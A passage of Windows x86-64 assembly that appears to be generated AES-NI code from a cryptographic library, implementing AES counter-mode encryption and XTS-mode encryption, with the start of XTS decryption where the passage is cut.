movaps xmm2,XMMWORD PTR[rsp] pxor xmm9,xmm3 movaps xmm3,XMMWORD PTR[16+rsp] pxor xmm10,xmm4 movaps xmm4,XMMWORD PTR[32+rsp] pxor xmm11,xmm5 movaps xmm5,XMMWORD PTR[48+rsp] pxor xmm12,xmm6 movaps xmm6,XMMWORD PTR[64+rsp] pxor xmm13,xmm7 movaps xmm7,XMMWORD PTR[80+rsp] movdqu XMMWORD PTR[rsi],xmm8 movdqu XMMWORD PTR[16+rsi],xmm9 movdqu XMMWORD PTR[32+rsi],xmm10 movdqu XMMWORD PTR[48+rsi],xmm11 movdqu XMMWORD PTR[64+rsi],xmm12 movdqu XMMWORD PTR[80+rsi],xmm13 lea rsi,QWORD PTR[96+rsi] sub rdx,6 jnc $L$ctr32_loop6 add rdx,6 jz $L$ctr32_done lea eax,DWORD PTR[((-48))+r10] lea rcx,QWORD PTR[((-80))+r10*1+rcx] neg eax shr eax,4 jmp $L$ctr32_tail ALIGN 32 $L$ctr32_loop8:: add r8d,8 movdqa xmm8,XMMWORD PTR[96+rsp] DB 102,15,56,220,209 mov r9d,r8d movdqa xmm9,XMMWORD PTR[112+rsp] DB 102,15,56,220,217 bswap r9d movups xmm0,XMMWORD PTR[((32-128))+rcx] DB 102,15,56,220,225 xor r9d,r11d nop DB 102,15,56,220,233 mov DWORD PTR[((0+12))+rsp],r9d lea r9,QWORD PTR[1+r8] DB 102,15,56,220,241 DB 102,15,56,220,249 DB 102,68,15,56,220,193 DB 102,68,15,56,220,201 movups xmm1,XMMWORD PTR[((48-128))+rcx] bswap r9d DB 102,15,56,220,208 DB 102,15,56,220,216 xor r9d,r11d DB 066h,090h DB 102,15,56,220,224 DB 102,15,56,220,232 mov DWORD PTR[((16+12))+rsp],r9d lea r9,QWORD PTR[2+r8] DB 102,15,56,220,240 DB 102,15,56,220,248 DB 102,68,15,56,220,192 DB 102,68,15,56,220,200 movups xmm0,XMMWORD PTR[((64-128))+rcx] bswap r9d DB 102,15,56,220,209 DB 102,15,56,220,217 xor r9d,r11d DB 066h,090h DB 102,15,56,220,225 DB 102,15,56,220,233 mov DWORD PTR[((32+12))+rsp],r9d lea r9,QWORD PTR[3+r8] DB 102,15,56,220,241 DB 102,15,56,220,249 DB 102,68,15,56,220,193 DB 102,68,15,56,220,201 movups xmm1,XMMWORD PTR[((80-128))+rcx] bswap r9d DB 102,15,56,220,208 DB 102,15,56,220,216 xor r9d,r11d DB 066h,090h DB 102,15,56,220,224 DB 102,15,56,220,232 mov DWORD PTR[((48+12))+rsp],r9d lea r9,QWORD PTR[4+r8] DB 102,15,56,220,240 DB 102,15,56,220,248 DB 102,68,15,56,220,192 DB 102,68,15,56,220,200 movups xmm0,XMMWORD PTR[((96-128))+rcx] bswap r9d DB 102,15,56,220,209 DB 102,15,56,220,217 xor r9d,r11d DB 066h,090h DB 102,15,56,220,225 DB 102,15,56,220,233 mov DWORD PTR[((64+12))+rsp],r9d lea r9,QWORD PTR[5+r8] DB 102,15,56,220,241 DB 102,15,56,220,249 DB 102,68,15,56,220,193 DB 102,68,15,56,220,201 movups xmm1,XMMWORD PTR[((112-128))+rcx] bswap r9d DB 102,15,56,220,208 DB 102,15,56,220,216 xor r9d,r11d DB 066h,090h DB 102,15,56,220,224 DB 102,15,56,220,232 mov DWORD PTR[((80+12))+rsp],r9d lea r9,QWORD PTR[6+r8] DB 102,15,56,220,240 DB 102,15,56,220,248 DB 102,68,15,56,220,192 DB 102,68,15,56,220,200 movups xmm0,XMMWORD PTR[((128-128))+rcx] bswap r9d DB 102,15,56,220,209 DB 102,15,56,220,217 xor r9d,r11d DB 066h,090h DB 102,15,56,220,225 DB 102,15,56,220,233 mov DWORD PTR[((96+12))+rsp],r9d lea r9,QWORD PTR[7+r8] DB 102,15,56,220,241 DB 102,15,56,220,249 DB 102,68,15,56,220,193 DB 102,68,15,56,220,201 movups xmm1,XMMWORD PTR[((144-128))+rcx] bswap r9d DB 102,15,56,220,208 DB 102,15,56,220,216 DB 102,15,56,220,224 xor r9d,r11d movdqu xmm10,XMMWORD PTR[rdi] DB 102,15,56,220,232 mov DWORD PTR[((112+12))+rsp],r9d cmp eax,11 DB 102,15,56,220,240 DB 102,15,56,220,248 DB 102,68,15,56,220,192 DB 102,68,15,56,220,200 movups xmm0,XMMWORD PTR[((160-128))+rcx] jb $L$ctr32_enc_done DB 102,15,56,220,209 DB 102,15,56,220,217 DB 102,15,56,220,225 DB 102,15,56,220,233 DB 102,15,56,220,241 DB 102,15,56,220,249 DB 102,68,15,56,220,193 DB 102,68,15,56,220,201 movups xmm1,XMMWORD PTR[((176-128))+rcx] DB 102,15,56,220,208 DB 102,15,56,220,216 DB 102,15,56,220,224 DB 102,15,56,220,232 DB 102,15,56,220,240 DB 102,15,56,220,248 DB 102,68,15,56,220,192 DB 102,68,15,56,220,200 movups xmm0,XMMWORD PTR[((192-128))+rcx] je $L$ctr32_enc_done DB 102,15,56,220,209 DB 102,15,56,220,217 DB 102,15,56,220,225 DB 102,15,56,220,233 DB 102,15,56,220,241 DB 102,15,56,220,249 DB 102,68,15,56,220,193 DB 102,68,15,56,220,201 movups xmm1,XMMWORD PTR[((208-128))+rcx] DB 102,15,56,220,208 DB 102,15,56,220,216 DB 102,15,56,220,224 DB 102,15,56,220,232 DB 102,15,56,220,240 DB 102,15,56,220,248 DB 102,68,15,56,220,192 DB 102,68,15,56,220,200 movups xmm0,XMMWORD PTR[((224-128))+rcx] jmp $L$ctr32_enc_done ALIGN 16 $L$ctr32_enc_done:: movdqu xmm11,XMMWORD PTR[16+rdi] pxor xmm10,xmm0 movdqu xmm12,XMMWORD PTR[32+rdi] pxor xmm11,xmm0 movdqu xmm13,XMMWORD PTR[48+rdi] pxor xmm12,xmm0 movdqu xmm14,XMMWORD PTR[64+rdi] pxor xmm13,xmm0 movdqu xmm15,XMMWORD PTR[80+rdi] pxor xmm14,xmm0 pxor xmm15,xmm0 DB 102,15,56,220,209 DB 102,15,56,220,217 DB 102,15,56,220,225 DB 102,15,56,220,233 DB 102,15,56,220,241 DB 102,15,56,220,249 DB 102,68,15,56,220,193 DB 102,68,15,56,220,201 movdqu xmm1,XMMWORD PTR[96+rdi] lea rdi,QWORD PTR[128+rdi] DB 102,65,15,56,221,210 pxor xmm1,xmm0 movdqu xmm10,XMMWORD PTR[((112-128))+rdi] DB 102,65,15,56,221,219 pxor xmm10,xmm0 movdqa xmm11,XMMWORD PTR[rsp] DB 102,65,15,56,221,228 DB 102,65,15,56,221,237 movdqa xmm12,XMMWORD PTR[16+rsp] movdqa xmm13,XMMWORD PTR[32+rsp] DB 102,65,15,56,221,246 DB 102,65,15,56,221,255 movdqa xmm14,XMMWORD PTR[48+rsp] movdqa xmm15,XMMWORD PTR[64+rsp] DB 102,68,15,56,221,193 movdqa xmm0,XMMWORD PTR[80+rsp] movups xmm1,XMMWORD PTR[((16-128))+rcx] DB 102,69,15,56,221,202 movups XMMWORD PTR[rsi],xmm2 movdqa xmm2,xmm11 movups XMMWORD PTR[16+rsi],xmm3 movdqa xmm3,xmm12 movups XMMWORD PTR[32+rsi],xmm4 movdqa xmm4,xmm13 movups XMMWORD PTR[48+rsi],xmm5 movdqa xmm5,xmm14 movups XMMWORD PTR[64+rsi],xmm6 movdqa xmm6,xmm15 movups XMMWORD PTR[80+rsi],xmm7 movdqa xmm7,xmm0 movups XMMWORD PTR[96+rsi],xmm8 movups XMMWORD PTR[112+rsi],xmm9 lea rsi,QWORD PTR[128+rsi] sub rdx,8 jnc $L$ctr32_loop8 add rdx,8 jz $L$ctr32_done lea rcx,QWORD PTR[((-128))+rcx] $L$ctr32_tail:: lea rcx,QWORD PTR[16+rcx] cmp rdx,4 jb $L$ctr32_loop3 je $L$ctr32_loop4 shl eax,4 movdqa xmm8,XMMWORD PTR[96+rsp] pxor xmm9,xmm9 movups xmm0,XMMWORD PTR[16+rcx] DB 102,15,56,220,209 DB 102,15,56,220,217 lea rcx,QWORD PTR[((32-16))+rax*1+rcx] neg rax DB 102,15,56,220,225 add rax,16 movups xmm10,XMMWORD PTR[rdi] DB 102,15,56,220,233 DB 102,15,56,220,241 movups xmm11,XMMWORD PTR[16+rdi] movups xmm12,XMMWORD PTR[32+rdi] DB 102,15,56,220,249 DB 102,68,15,56,220,193 call $L$enc_loop8_enter movdqu xmm13,XMMWORD PTR[48+rdi] pxor xmm2,xmm10 movdqu xmm10,XMMWORD PTR[64+rdi] pxor xmm3,xmm11 movdqu XMMWORD PTR[rsi],xmm2 pxor xmm4,xmm12 movdqu XMMWORD PTR[16+rsi],xmm3 pxor xmm5,xmm13 movdqu XMMWORD PTR[32+rsi],xmm4 pxor xmm6,xmm10 movdqu XMMWORD PTR[48+rsi],xmm5 movdqu XMMWORD PTR[64+rsi],xmm6 cmp rdx,6 jb $L$ctr32_done movups xmm11,XMMWORD PTR[80+rdi] xorps xmm7,xmm11 movups XMMWORD PTR[80+rsi],xmm7 je $L$ctr32_done movups xmm12,XMMWORD PTR[96+rdi] xorps xmm8,xmm12 movups XMMWORD PTR[96+rsi],xmm8 jmp $L$ctr32_done ALIGN 32 $L$ctr32_loop4:: DB 102,15,56,220,209 lea rcx,QWORD PTR[16+rcx] dec eax DB 102,15,56,220,217 DB 102,15,56,220,225 DB 102,15,56,220,233 movups xmm1,XMMWORD PTR[rcx] jnz $L$ctr32_loop4 DB 102,15,56,221,209 DB 102,15,56,221,217 movups xmm10,XMMWORD PTR[rdi] movups xmm11,XMMWORD PTR[16+rdi] DB 102,15,56,221,225 DB 102,15,56,221,233 movups xmm12,XMMWORD PTR[32+rdi] movups xmm13,XMMWORD PTR[48+rdi] xorps xmm2,xmm10 movups XMMWORD PTR[rsi],xmm2 xorps xmm3,xmm11 movups XMMWORD PTR[16+rsi],xmm3 pxor xmm4,xmm12 movdqu XMMWORD PTR[32+rsi],xmm4 pxor xmm5,xmm13 movdqu XMMWORD PTR[48+rsi],xmm5 jmp $L$ctr32_done ALIGN 32 $L$ctr32_loop3:: DB 102,15,56,220,209 lea rcx,QWORD PTR[16+rcx] dec eax DB 102,15,56,220,217 DB 102,15,56,220,225 movups xmm1,XMMWORD PTR[rcx] jnz $L$ctr32_loop3 DB 102,15,56,221,209 DB 102,15,56,221,217 DB 102,15,56,221,225 movups xmm10,XMMWORD PTR[rdi] xorps xmm2,xmm10 movups XMMWORD PTR[rsi],xmm2 cmp rdx,2 jb $L$ctr32_done movups xmm11,XMMWORD PTR[16+rdi] xorps xmm3,xmm11 movups XMMWORD PTR[16+rsi],xmm3 je $L$ctr32_done movups xmm12,XMMWORD PTR[32+rdi] xorps xmm4,xmm12 movups XMMWORD PTR[32+rsi],xmm4 jmp $L$ctr32_done ALIGN 16 $L$ctr32_one_shortcut:: movups xmm2,XMMWORD PTR[r8] movups xmm10,XMMWORD PTR[rdi] mov eax,DWORD PTR[240+rcx] movups xmm0,XMMWORD PTR[rcx] movups xmm1,XMMWORD PTR[16+rcx] lea rcx,QWORD PTR[32+rcx] xorps xmm2,xmm0 $L$oop_enc1_7:: DB 102,15,56,220,209 dec eax movups xmm1,XMMWORD PTR[rcx] lea rcx,QWORD PTR[16+rcx] jnz $L$oop_enc1_7 DB 102,15,56,221,209 xorps xmm2,xmm10 movups XMMWORD PTR[rsi],xmm2 jmp $L$ctr32_done ALIGN 16 $L$ctr32_done:: movaps xmm6,XMMWORD PTR[((-160))+rbp] movaps xmm7,XMMWORD PTR[((-144))+rbp] movaps xmm8,XMMWORD PTR[((-128))+rbp] movaps xmm9,XMMWORD PTR[((-112))+rbp] movaps xmm10,XMMWORD PTR[((-96))+rbp] movaps xmm11,XMMWORD PTR[((-80))+rbp] movaps xmm12,XMMWORD PTR[((-64))+rbp] movaps xmm13,XMMWORD PTR[((-48))+rbp] movaps xmm14,XMMWORD PTR[((-32))+rbp] movaps xmm15,XMMWORD PTR[((-16))+rbp] lea rsp,QWORD PTR[rbp] pop rbp $L$ctr32_epilogue:: mov rdi,QWORD PTR[8+rsp] ;WIN64 epilogue mov rsi,QWORD PTR[16+rsp] DB 0F3h,0C3h ;repret $L$SEH_end_aesni_ctr32_encrypt_blocks:: aesni_ctr32_encrypt_blocks ENDP PUBLIC aesni_xts_encrypt ALIGN 16 aesni_xts_encrypt PROC PUBLIC mov QWORD PTR[8+rsp],rdi ;WIN64 prologue mov QWORD PTR[16+rsp],rsi mov rax,rsp $L$SEH_begin_aesni_xts_encrypt:: mov rdi,rcx mov rsi,rdx mov rdx,r8 mov rcx,r9 mov r8,QWORD PTR[40+rsp] mov r9,QWORD PTR[48+rsp] lea rax,QWORD PTR[rsp] push rbp sub rsp,272 and rsp,-16 movaps XMMWORD PTR[(-168)+rax],xmm6 movaps XMMWORD PTR[(-152)+rax],xmm7 movaps XMMWORD PTR[(-136)+rax],xmm8 movaps XMMWORD PTR[(-120)+rax],xmm9 movaps XMMWORD PTR[(-104)+rax],xmm10 movaps XMMWORD PTR[(-88)+rax],xmm11 movaps XMMWORD PTR[(-72)+rax],xmm12 movaps XMMWORD PTR[(-56)+rax],xmm13 movaps XMMWORD PTR[(-40)+rax],xmm14 movaps XMMWORD PTR[(-24)+rax],xmm15 $L$xts_enc_body:: lea rbp,QWORD PTR[((-8))+rax] movups xmm2,XMMWORD PTR[r9] mov eax,DWORD PTR[240+r8] mov r10d,DWORD PTR[240+rcx] movups xmm0,XMMWORD PTR[r8] movups xmm1,XMMWORD PTR[16+r8] lea r8,QWORD PTR[32+r8] xorps xmm2,xmm0 $L$oop_enc1_8:: DB 102,15,56,220,209 dec eax movups xmm1,XMMWORD PTR[r8] lea r8,QWORD PTR[16+r8] jnz $L$oop_enc1_8 DB 102,15,56,221,209 movups xmm0,XMMWORD PTR[rcx] mov r11,rcx mov eax,r10d shl r10d,4 mov r9,rdx and rdx,-16 movups xmm1,XMMWORD PTR[16+r10*1+rcx] movdqa xmm8,XMMWORD PTR[$L$xts_magic] movdqa xmm15,xmm2 pshufd xmm9,xmm2,05fh pxor xmm1,xmm0 movdqa xmm14,xmm9 paddd xmm9,xmm9 movdqa xmm10,xmm15 psrad xmm14,31 paddq xmm15,xmm15 pand xmm14,xmm8 pxor xmm10,xmm0 pxor xmm15,xmm14 movdqa xmm14,xmm9 paddd xmm9,xmm9 movdqa xmm11,xmm15 psrad xmm14,31 paddq xmm15,xmm15 pand xmm14,xmm8 pxor xmm11,xmm0 pxor xmm15,xmm14 movdqa xmm14,xmm9 paddd xmm9,xmm9 movdqa xmm12,xmm15 psrad xmm14,31 paddq xmm15,xmm15 pand xmm14,xmm8 pxor xmm12,xmm0 pxor xmm15,xmm14 movdqa xmm14,xmm9 paddd xmm9,xmm9 movdqa xmm13,xmm15 psrad xmm14,31 paddq xmm15,xmm15 pand xmm14,xmm8 pxor xmm13,xmm0 pxor xmm15,xmm14 movdqa xmm14,xmm15 psrad xmm9,31 paddq xmm15,xmm15 pand xmm9,xmm8 pxor xmm14,xmm0 pxor xmm15,xmm9 movaps XMMWORD PTR[96+rsp],xmm1 sub rdx,16*6 jc $L$xts_enc_short mov eax,16+96 lea rcx,QWORD PTR[32+r10*1+r11] sub rax,r10 movups xmm1,XMMWORD PTR[16+r11] mov r10,rax lea r8,QWORD PTR[$L$xts_magic] jmp $L$xts_enc_grandloop ALIGN 32 $L$xts_enc_grandloop:: movdqu xmm2,XMMWORD PTR[rdi] movdqa xmm8,xmm0 movdqu xmm3,XMMWORD PTR[16+rdi] pxor xmm2,xmm10 movdqu xmm4,XMMWORD PTR[32+rdi] pxor xmm3,xmm11 DB 102,15,56,220,209 movdqu xmm5,XMMWORD PTR[48+rdi] pxor xmm4,xmm12 DB 102,15,56,220,217 movdqu xmm6,XMMWORD PTR[64+rdi] pxor xmm5,xmm13 DB 102,15,56,220,225 movdqu xmm7,XMMWORD PTR[80+rdi] pxor xmm8,xmm15 movdqa xmm9,XMMWORD PTR[96+rsp] pxor xmm6,xmm14 DB 102,15,56,220,233 movups xmm0,XMMWORD PTR[32+r11] lea rdi,QWORD PTR[96+rdi] pxor xmm7,xmm8 pxor xmm10,xmm9 DB 102,15,56,220,241 pxor xmm11,xmm9 movdqa XMMWORD PTR[rsp],xmm10 DB 102,15,56,220,249 movups xmm1,XMMWORD PTR[48+r11] pxor xmm12,xmm9 DB 102,15,56,220,208 pxor xmm13,xmm9 movdqa XMMWORD PTR[16+rsp],xmm11 DB 102,15,56,220,216 pxor xmm14,xmm9 movdqa XMMWORD PTR[32+rsp],xmm12 DB 102,15,56,220,224 DB 102,15,56,220,232 pxor xmm8,xmm9 movdqa XMMWORD PTR[64+rsp],xmm14 DB 102,15,56,220,240 DB 102,15,56,220,248 movups xmm0,XMMWORD PTR[64+r11] movdqa XMMWORD PTR[80+rsp],xmm8 pshufd xmm9,xmm15,05fh jmp $L$xts_enc_loop6 ALIGN 32 $L$xts_enc_loop6:: DB 102,15,56,220,209 DB 102,15,56,220,217 DB 102,15,56,220,225 DB 102,15,56,220,233 DB 102,15,56,220,241 DB 102,15,56,220,249 movups xmm1,XMMWORD PTR[((-64))+rax*1+rcx] add rax,32 DB 102,15,56,220,208 DB 102,15,56,220,216 DB 102,15,56,220,224 DB 102,15,56,220,232 DB 102,15,56,220,240 DB 102,15,56,220,248 movups xmm0,XMMWORD PTR[((-80))+rax*1+rcx] jnz $L$xts_enc_loop6 movdqa xmm8,XMMWORD PTR[r8] movdqa xmm14,xmm9 paddd xmm9,xmm9 DB 102,15,56,220,209 paddq xmm15,xmm15 psrad xmm14,31 DB 102,15,56,220,217 pand xmm14,xmm8 movups xmm10,XMMWORD PTR[r11] DB 102,15,56,220,225 DB 102,15,56,220,233 DB 102,15,56,220,241 pxor xmm15,xmm14 movaps xmm11,xmm10 DB 102,15,56,220,249 movups xmm1,XMMWORD PTR[((-64))+rcx] movdqa xmm14,xmm9 DB 102,15,56,220,208 paddd xmm9,xmm9 pxor xmm10,xmm15 DB 102,15,56,220,216 psrad xmm14,31 paddq xmm15,xmm15 DB 102,15,56,220,224 DB 102,15,56,220,232 pand xmm14,xmm8 movaps xmm12,xmm11 DB 102,15,56,220,240 pxor xmm15,xmm14 movdqa xmm14,xmm9 DB 102,15,56,220,248 movups xmm0,XMMWORD PTR[((-48))+rcx] paddd xmm9,xmm9 DB 102,15,56,220,209 pxor xmm11,xmm15 psrad xmm14,31 DB 102,15,56,220,217 paddq xmm15,xmm15 pand xmm14,xmm8 DB 102,15,56,220,225 DB 102,15,56,220,233 movdqa XMMWORD PTR[48+rsp],xmm13 pxor xmm15,xmm14 DB 102,15,56,220,241 movaps xmm13,xmm12 movdqa xmm14,xmm9 DB 102,15,56,220,249 movups xmm1,XMMWORD PTR[((-32))+rcx] paddd xmm9,xmm9 DB 102,15,56,220,208 pxor xmm12,xmm15 psrad xmm14,31 DB 102,15,56,220,216 paddq xmm15,xmm15 pand xmm14,xmm8 DB 102,15,56,220,224 DB 102,15,56,220,232 DB 102,15,56,220,240 pxor xmm15,xmm14 movaps xmm14,xmm13 DB 102,15,56,220,248 movdqa xmm0,xmm9 paddd xmm9,xmm9 DB 102,15,56,220,209 pxor xmm13,xmm15 psrad xmm0,31 DB 102,15,56,220,217 paddq xmm15,xmm15 pand xmm0,xmm8 DB 102,15,56,220,225 DB 102,15,56,220,233 pxor xmm15,xmm0 movups xmm0,XMMWORD PTR[r11] DB 102,15,56,220,241 DB 102,15,56,220,249 movups xmm1,XMMWORD PTR[16+r11] pxor xmm14,xmm15 DB 102,15,56,221,84,36,0 psrad xmm9,31 paddq xmm15,xmm15 DB 102,15,56,221,92,36,16 DB 102,15,56,221,100,36,32 pand xmm9,xmm8 mov rax,r10 DB 102,15,56,221,108,36,48 DB 102,15,56,221,116,36,64 DB 102,15,56,221,124,36,80 pxor xmm15,xmm9 lea rsi,QWORD PTR[96+rsi] movups XMMWORD PTR[(-96)+rsi],xmm2 movups XMMWORD PTR[(-80)+rsi],xmm3 movups XMMWORD PTR[(-64)+rsi],xmm4 movups XMMWORD PTR[(-48)+rsi],xmm5 movups XMMWORD PTR[(-32)+rsi],xmm6 movups XMMWORD PTR[(-16)+rsi],xmm7 sub rdx,16*6 jnc $L$xts_enc_grandloop mov eax,16+96 sub eax,r10d mov rcx,r11 shr eax,4 $L$xts_enc_short:: mov r10d,eax pxor xmm10,xmm0 add rdx,16*6 jz $L$xts_enc_done pxor xmm11,xmm0 cmp rdx,020h jb $L$xts_enc_one pxor xmm12,xmm0 je $L$xts_enc_two pxor xmm13,xmm0 cmp rdx,040h jb $L$xts_enc_three pxor xmm14,xmm0 je $L$xts_enc_four movdqu xmm2,XMMWORD PTR[rdi] movdqu xmm3,XMMWORD PTR[16+rdi] movdqu xmm4,XMMWORD PTR[32+rdi] pxor xmm2,xmm10 movdqu xmm5,XMMWORD PTR[48+rdi] pxor xmm3,xmm11 movdqu xmm6,XMMWORD PTR[64+rdi] lea rdi,QWORD PTR[80+rdi] pxor xmm4,xmm12 pxor xmm5,xmm13 pxor xmm6,xmm14 call _aesni_encrypt6 xorps xmm2,xmm10 movdqa xmm10,xmm15 xorps xmm3,xmm11 xorps xmm4,xmm12 movdqu XMMWORD PTR[rsi],xmm2 xorps xmm5,xmm13 movdqu XMMWORD PTR[16+rsi],xmm3 xorps xmm6,xmm14 movdqu XMMWORD PTR[32+rsi],xmm4 movdqu XMMWORD PTR[48+rsi],xmm5 movdqu XMMWORD PTR[64+rsi],xmm6 lea rsi,QWORD PTR[80+rsi] jmp $L$xts_enc_done ALIGN 16 $L$xts_enc_one:: movups xmm2,XMMWORD PTR[rdi] lea rdi,QWORD PTR[16+rdi] xorps xmm2,xmm10 movups xmm0,XMMWORD PTR[rcx] movups xmm1,XMMWORD PTR[16+rcx] lea rcx,QWORD PTR[32+rcx] xorps xmm2,xmm0 $L$oop_enc1_9:: DB 102,15,56,220,209 dec eax movups xmm1,XMMWORD PTR[rcx] lea rcx,QWORD PTR[16+rcx] jnz $L$oop_enc1_9 DB 102,15,56,221,209 xorps xmm2,xmm10 movdqa xmm10,xmm11 movups XMMWORD PTR[rsi],xmm2 lea rsi,QWORD PTR[16+rsi] jmp $L$xts_enc_done ALIGN 16 $L$xts_enc_two:: movups xmm2,XMMWORD PTR[rdi] movups xmm3,XMMWORD PTR[16+rdi] lea rdi,QWORD PTR[32+rdi] xorps xmm2,xmm10 xorps xmm3,xmm11 call _aesni_encrypt2 xorps xmm2,xmm10 movdqa xmm10,xmm12 xorps xmm3,xmm11 movups XMMWORD PTR[rsi],xmm2 movups XMMWORD PTR[16+rsi],xmm3 lea rsi,QWORD PTR[32+rsi] jmp $L$xts_enc_done ALIGN 16 $L$xts_enc_three:: movups xmm2,XMMWORD PTR[rdi] movups xmm3,XMMWORD PTR[16+rdi] movups xmm4,XMMWORD PTR[32+rdi] lea rdi,QWORD PTR[48+rdi] xorps xmm2,xmm10 xorps xmm3,xmm11 xorps xmm4,xmm12 call _aesni_encrypt3 xorps xmm2,xmm10 movdqa xmm10,xmm13 xorps xmm3,xmm11 xorps xmm4,xmm12 movups XMMWORD PTR[rsi],xmm2 movups XMMWORD PTR[16+rsi],xmm3 movups XMMWORD PTR[32+rsi],xmm4 lea rsi,QWORD PTR[48+rsi] jmp $L$xts_enc_done ALIGN 16 $L$xts_enc_four:: movups xmm2,XMMWORD PTR[rdi] movups xmm3,XMMWORD PTR[16+rdi] movups xmm4,XMMWORD PTR[32+rdi] xorps xmm2,xmm10 movups xmm5,XMMWORD PTR[48+rdi] lea rdi,QWORD PTR[64+rdi] xorps xmm3,xmm11 xorps xmm4,xmm12 xorps xmm5,xmm13 call _aesni_encrypt4 pxor xmm2,xmm10 movdqa xmm10,xmm14 pxor xmm3,xmm11 pxor xmm4,xmm12 movdqu XMMWORD PTR[rsi],xmm2 pxor xmm5,xmm13 movdqu XMMWORD PTR[16+rsi],xmm3 movdqu XMMWORD PTR[32+rsi],xmm4 movdqu XMMWORD PTR[48+rsi],xmm5 lea rsi,QWORD PTR[64+rsi] jmp $L$xts_enc_done ALIGN 16 $L$xts_enc_done:: and r9,15 jz $L$xts_enc_ret mov rdx,r9 $L$xts_enc_steal:: movzx eax,BYTE PTR[rdi] movzx ecx,BYTE PTR[((-16))+rsi] lea rdi,QWORD PTR[1+rdi] mov BYTE PTR[((-16))+rsi],al mov BYTE PTR[rsi],cl lea rsi,QWORD PTR[1+rsi] sub rdx,1 jnz $L$xts_enc_steal sub rsi,r9 mov rcx,r11 mov eax,r10d movups xmm2,XMMWORD PTR[((-16))+rsi] xorps xmm2,xmm10 movups xmm0,XMMWORD PTR[rcx] movups xmm1,XMMWORD PTR[16+rcx] lea rcx,QWORD PTR[32+rcx] xorps xmm2,xmm0 $L$oop_enc1_10:: DB 102,15,56,220,209 dec eax movups xmm1,XMMWORD PTR[rcx] lea rcx,QWORD PTR[16+rcx] jnz $L$oop_enc1_10 DB 102,15,56,221,209 xorps xmm2,xmm10 movups XMMWORD PTR[(-16)+rsi],xmm2 $L$xts_enc_ret:: movaps xmm6,XMMWORD PTR[((-160))+rbp] movaps xmm7,XMMWORD PTR[((-144))+rbp] movaps xmm8,XMMWORD PTR[((-128))+rbp] movaps xmm9,XMMWORD PTR[((-112))+rbp] movaps xmm10,XMMWORD PTR[((-96))+rbp] movaps xmm11,XMMWORD PTR[((-80))+rbp] movaps xmm12,XMMWORD PTR[((-64))+rbp] movaps xmm13,XMMWORD PTR[((-48))+rbp] movaps xmm14,XMMWORD PTR[((-32))+rbp] movaps xmm15,XMMWORD PTR[((-16))+rbp] lea rsp,QWORD PTR[rbp] pop rbp $L$xts_enc_epilogue:: mov rdi,QWORD PTR[8+rsp] ;WIN64 epilogue mov rsi,QWORD PTR[16+rsp] DB 0F3h,0C3h ;repret $L$SEH_end_aesni_xts_encrypt:: aesni_xts_encrypt ENDP PUBLIC aesni_xts_decrypt ALIGN 16 aesni_xts_decrypt PROC PUBLIC mov QWORD PTR[8+rsp],rdi ;WIN64 prologue mov QWORD PTR[16+rsp],rsi mov rax,rsp $L$SEH_begin_aesni_xts_decrypt:: mov rdi,rcx mov rsi,rdx mov rdx,r8 mov rcx,r9 mov r8,QWORD PTR[40+rsp] mov r9,QWORD PTR[48+rsp] lea rax,QWORD PTR[rsp] push rbp sub rsp,272 and rsp,-16 movaps XMMWORD PTR[(-168)+rax],xmm6 movaps XMMWORD PTR[(-152)+rax],xmm7 movaps XMMWORD PTR[(-136)+rax],xmm8 movaps XMMWORD PTR[(-120)+rax],xmm9 movaps XMMWORD PTR[(-104)+rax],xmm10 movaps XMMWORD PTR[(-88)+rax],xmm11 movaps XMMWORD PTR[(-72)+rax],xmm12 movaps XMMWORD PTR[(-56)+rax],xmm13 movaps XMMWORD PTR[(-40)+rax],xmm14 movaps XMMWORD PTR[(-24)+rax],xmm15 $L$xts_dec_body:: lea rbp,QWORD PTR[((-8))+rax] movups xmm2,XMMWORD PTR[r9] mov eax,DWORD PTR[240+r8] mov r10d,DWORD PTR[240+rcx] movups xmm0,XMMWORD PTR[r8] movups xmm1,XMMWORD PTR[16+r8] lea r8,QWORD PTR[32+r8] xorps xmm2,xmm0 $L$oop_enc1_11:: DB 102,15,56,220,209 dec eax movups xmm1,XMMWORD PTR[r8] lea r8,QWORD PTR[16+r8] jnz $L$oop_enc1_11 DB 102,15,56,221,209 xor eax,eax test rdx,15 setnz al shl rax,4 sub rdx,rax movups xmm0,XMMWORD PTR[rcx] mov r11,rcx mov eax,r10d shl r10d,4 mov r9,rdx and rdx,-16 movups xmm1,XMMWORD PTR[16+r10*1+rcx] movdqa xmm8,XMMWORD PTR[$L$xts_magic] movdqa xmm15,xmm2 pshufd xmm9,xmm2,05fh pxor xmm1,xmm0 movdqa xmm14,xmm9 paddd xmm9,xmm9 movdqa xmm10,xmm15 psrad xmm14,31 paddq xmm15,xmm15 pand xmm14,xmm8 pxor xmm10,xmm0 pxor xmm15,xmm14 movdqa xmm14,xmm9 paddd xmm9,xmm9 movdqa xmm11,xmm15 psrad xmm14,31 paddq xmm15,xmm15 pand xmm14,xmm8 pxor xmm11,xmm0 pxor xmm15,xmm14 movdqa xmm14,xmm9 paddd xmm9,xmm9 movdqa xmm12,xmm15 psrad xmm14,31 paddq xmm15,xmm15 pand xmm14,xmm8 pxor xmm12,xmm0 pxor xmm15,xmm14 movdqa xmm14,xmm9 paddd xmm9,xmm9 movdqa xmm13,xmm15 psrad xmm14,31 paddq xmm15,xmm15 pand xmm14,xmm8 pxor xmm13,xmm0 pxor xmm15,xmm14 movdqa xmm14,xmm15 psrad xmm9,31 paddq xmm15,xmm15 pand xmm9,xmm8 pxor xmm14,xmm0 pxor xmm15,xmm9 movaps XMMWORD PTR[96+rsp],xmm1 sub rdx,16*6 jc $L$xts_dec_short mov eax,16+96 lea rcx,QWORD PTR[32+r10*1+r11] sub rax,r10 movups xmm1,XMMWORD PTR[16+r11] mov r10,rax lea r8,QWORD PTR[$L$xts_magic] jmp $L$xts_dec_grandloop ALIGN 32 $L$xts_dec_grandloop:: movdqu xmm2,XMMWORD PTR[rdi] movdqa xmm8,xmm0 movdqu xmm3,XMMWORD PTR[16+rdi] pxor xmm2,xmm10 movdqu xmm4,XMMWORD PTR[32+rdi] pxor xmm3,xmm11 DB 102,15,56,222,209 movdqu xmm5,XMMWORD PTR[48+rdi] pxor xmm4,xmm12 DB 102,15,56,222,217 movdqu xmm6,XMMWORD PTR[64+rdi] pxor xmm5,xmm13 DB 102,15,56,222,225 movdqu xmm7,XMMWORD PTR[80+rdi] pxor xmm8,xmm15 movdqa xmm9,XMMWORD PTR[96+rsp] pxor xmm6,xmm14 DB 102,15,56,222,233 movups xmm0,XMMWORD PTR[32+r11] lea rdi,QWORD PTR[96+rdi] pxor xmm7,xmm8 pxor 